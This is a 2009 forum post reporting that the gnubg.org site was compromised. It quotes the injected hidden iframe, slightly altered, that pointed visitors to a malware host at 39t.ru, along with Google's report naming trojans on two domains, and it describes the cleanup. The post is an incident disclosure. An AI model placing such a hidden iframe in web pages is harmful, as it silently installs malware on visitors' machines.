BGonline.org Forums

Some more information

Posted By: Achim
Date: Sunday, 16 August 2009, at 3:45 p.m.

In Response To: Passing along unsubstantiated rumor (Chuck Bower)

Hi folks,

indeed some index.html and index.php files were manipulated 36 hours ago. No damage to any downloadable files. Someone has put the following code into the webpages:

"iframe src="http://39t.ru:8080/index.php" width=103 height=140 style="visibility: hidden"/ iframe"

The above code is slightly modified here. For more information check "Cross Side Scripting" at wikipedia. This is what Google says:

What happened when Google visited this site? 

 

    Of the 5 pages we tested on the site over the past 90 days, 4 page(s) resulted in malicious software being downloaded and installed without user consent. 

The last time Google visited this site was on 2009-08-15, and the last time suspicious content was found on this site was on 2009-08-15. 

 

    Malicious software includes 3 trojan(s). 

    Malicious software is hosted on 2 domain(s), including c6y.at/, 39t.ru/. 

    This site was hosted on 1 network(s) including AS12693 (EDISCOM). 

 

Has this site acted as an intermediary resulting in further distribution of malware? 

 

    Over the past 90 days, gnubg.org did not appear to function as an intermediary for the infection of any sites. 

 

Has this site hosted malware? 

 

    No, this site has not hosted malicious software over the past 90 days. 

 

How did this happen? 

 

    In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.

We've updated the CMS and also exchanged all affected files but we still don't know what kind of exploit was used. Google is informed about our changes and will take off the warning after a new scan. I'll also contact the provider tomorrow.

Ciao

Achim

Messages In This Thread

• Passing along unsubstantiated rumor
  Chuck Bower -- Sunday, 16 August 2009, at 12:39 a.m.
  • Passing along unsubstantiated rumor
    Jason Lee -- Sunday, 16 August 2009, at 2:07 a.m.
    • Passing along unsubstantiated rumor
      happyjuggler0 -- Sunday, 16 August 2009, at 2:35 p.m.
  • Passing along unsubstantiated rumor
    Strato -- Sunday, 16 August 2009, at 5:28 a.m.
  • Passing along more substantiated info
    stw672 -- Sunday, 16 August 2009, at 7:19 a.m.
  • Some more information
    Achim -- Sunday, 16 August 2009, at 3:45 p.m.
    • Some more information
      playBunny -- Sunday, 16 August 2009, at 3:58 p.m.
      • Some more information
        Achim -- Sunday, 16 August 2009, at 4:03 p.m.
        • The Russians are still coming
          playBunny -- Sunday, 16 August 2009, at 4:16 p.m.
          • The Russians are still coming
            Achim -- Sunday, 16 August 2009, at 4:39 p.m.
            • Different iframe url
              playBunny -- Sunday, 16 August 2009, at 4:50 p.m.
            • The Russians are still coming
              Frank Berger -- Sunday, 16 August 2009, at 8:36 p.m.